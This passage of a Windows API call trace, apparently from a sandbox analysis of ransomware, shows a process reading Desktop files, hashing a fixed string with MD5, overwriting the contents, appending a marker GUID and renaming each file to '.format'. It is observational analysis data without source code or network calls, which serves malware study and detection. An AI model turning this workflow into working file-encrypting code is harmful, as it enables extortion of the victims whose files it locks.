0x0 [0068.187] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.187] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0068.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.187] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd850) returned 0x32b2f40 [0068.187] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.187] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xd84c, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xd84c, lpOverlapped=0x0) returned 1 [0068.187] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.187] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd851, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.187] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.187] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.188] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.188] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.188] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.188] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.190] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.190] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.190] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.190] CloseHandle (hObject=0x5c8) returned 1 [0068.191] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.191] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.191] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edd50 | out: hHeap=0x5d0000) returned 1 [0068.191] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\ch1D7KyT.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\ch1d7kyt.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\ch1D7KyT.ppt.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\ch1d7kyt.ppt.format")) returned 1 [0068.192] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.192] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.193] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe43c3780, ftCreationTime.dwHighDateTime=0x1d4ca90, ftLastAccessTime.dwLowDateTime=0x79883c00, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x79883c00, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lAFKNLNIoK0mzGu", cAlternateFileName="LAFKNL~1")) returned 1 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edab0 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16c) returned 0x30fb448 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2990 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edea0 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac348 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2c88 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edf48 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2ac0 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac2c0 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2b58 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2bf0 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a28f8 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eddf8 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327dc68 | out: hHeap=0x5d0000) returned 1 [0068.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eddf8 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edab0 | out: hHeap=0x5d0000) returned 1 [0068.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edd50 | out: hHeap=0x5d0000) returned 1 [0068.193] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe79dae0, ftCreationTime.dwHighDateTime=0x1d4c566, ftLastAccessTime.dwLowDateTime=0x790385d0, ftLastAccessTime.dwHighDateTime=0x1d4c659, ftLastWriteTime.dwLowDateTime=0x790385d0, ftLastWriteTime.dwHighDateTime=0x1d4c659, nFileSizeHigh=0x0, nFileSizeLow=0xbe46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pRF0TOZ.avi", cAlternateFileName="")) returned 1 [0068.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\pRF0TOZ.avi") returned=".avi" [0068.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\pRF0TOZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\prf0toz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.194] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=48710) returned 1 [0068.194] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.197] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbe20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.197] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.197] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.197] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.197] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.197] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xbe46, lpOverlapped=0x0) returned 1 [0068.198] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.198] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.198] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.198] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.198] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.199] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.199] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.199] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.199] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.199] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.199] GetLastError () returned 0x0 [0068.199] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.199] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.199] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.199] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe50) returned 0x32b2f40 [0068.199] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.199] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.199] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xbe41, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xbe41, lpOverlapped=0x0) returned 1 [0068.199] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.199] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbe46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.199] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.199] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.200] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.200] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.200] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.200] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.200] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.200] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.200] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.200] CloseHandle (hObject=0x5c8) returned 1 [0068.201] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.201] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.201] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edd50 | out: hHeap=0x5d0000) returned 1 [0068.201] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\pRF0TOZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\prf0toz.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\pRF0TOZ.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\prf0toz.avi.format")) returned 1 [0068.201] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.201] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.202] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.202] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ebd3550, ftCreationTime.dwHighDateTime=0x1d4cc32, ftLastAccessTime.dwLowDateTime=0x5a59e4b0, ftLastAccessTime.dwHighDateTime=0x1d4c895, ftLastWriteTime.dwLowDateTime=0x5a59e4b0, ftLastWriteTime.dwHighDateTime=0x1d4c895, nFileSizeHigh=0x0, nFileSizeLow=0x17693, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x4_ajppJoTbLYJ.swf", cAlternateFileName="X4_AJP~1.SWF")) returned 1 [0068.202] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.202] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.202] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.202] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\x4_ajppJoTbLYJ.swf") returned=".swf" [0068.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\x4_ajppJoTbLYJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\x4_ajppjotblyj.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.203] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=95891) returned 1 [0068.203] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.205] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1766d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.205] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.206] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.206] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.206] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.206] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x17693, lpOverlapped=0x0) returned 1 [0068.206] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.206] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.206] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.206] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.206] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.207] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.207] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.207] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.207] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.207] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.207] GetLastError () returned 0x0 [0068.207] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.207] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.207] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.207] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x17690) returned 0x32b2f40 [0068.208] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.208] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.208] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x1768e, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x1768e, lpOverlapped=0x0) returned 1 [0068.208] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.208] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17693, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.208] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.208] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.208] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.208] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.209] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.209] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.209] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.209] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.209] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.209] CloseHandle (hObject=0x5c8) returned 1 [0068.210] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.210] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.210] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0068.210] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\x4_ajppJoTbLYJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\x4_ajppjotblyj.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\x4_ajppJoTbLYJ.swf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\x4_ajppjotblyj.swf.format")) returned 1 [0068.211] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.211] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.212] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ebd3550, ftCreationTime.dwHighDateTime=0x1d4cc32, ftLastAccessTime.dwLowDateTime=0x5a59e4b0, ftLastAccessTime.dwHighDateTime=0x1d4c895, ftLastWriteTime.dwLowDateTime=0x5a59e4b0, ftLastWriteTime.dwHighDateTime=0x1d4c895, nFileSizeHigh=0x0, nFileSizeLow=0x17693, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x4_ajppJoTbLYJ.swf", cAlternateFileName="X4_AJP~1.SWF")) returned 0 [0068.212] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.212] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.212] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.212] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.212] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.212] 